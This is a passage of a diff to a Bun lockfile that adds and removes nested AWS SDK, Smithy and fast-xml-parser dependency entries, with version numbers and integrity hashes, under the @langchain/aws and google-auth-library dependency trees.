+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9259,14 +8679,20 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9283,12 +8709,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9303,14 +8733,20 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9361,6 +8797,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9377,18 +8815,26 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9405,12 +8851,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9427,137 +8877,21 @@
"@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
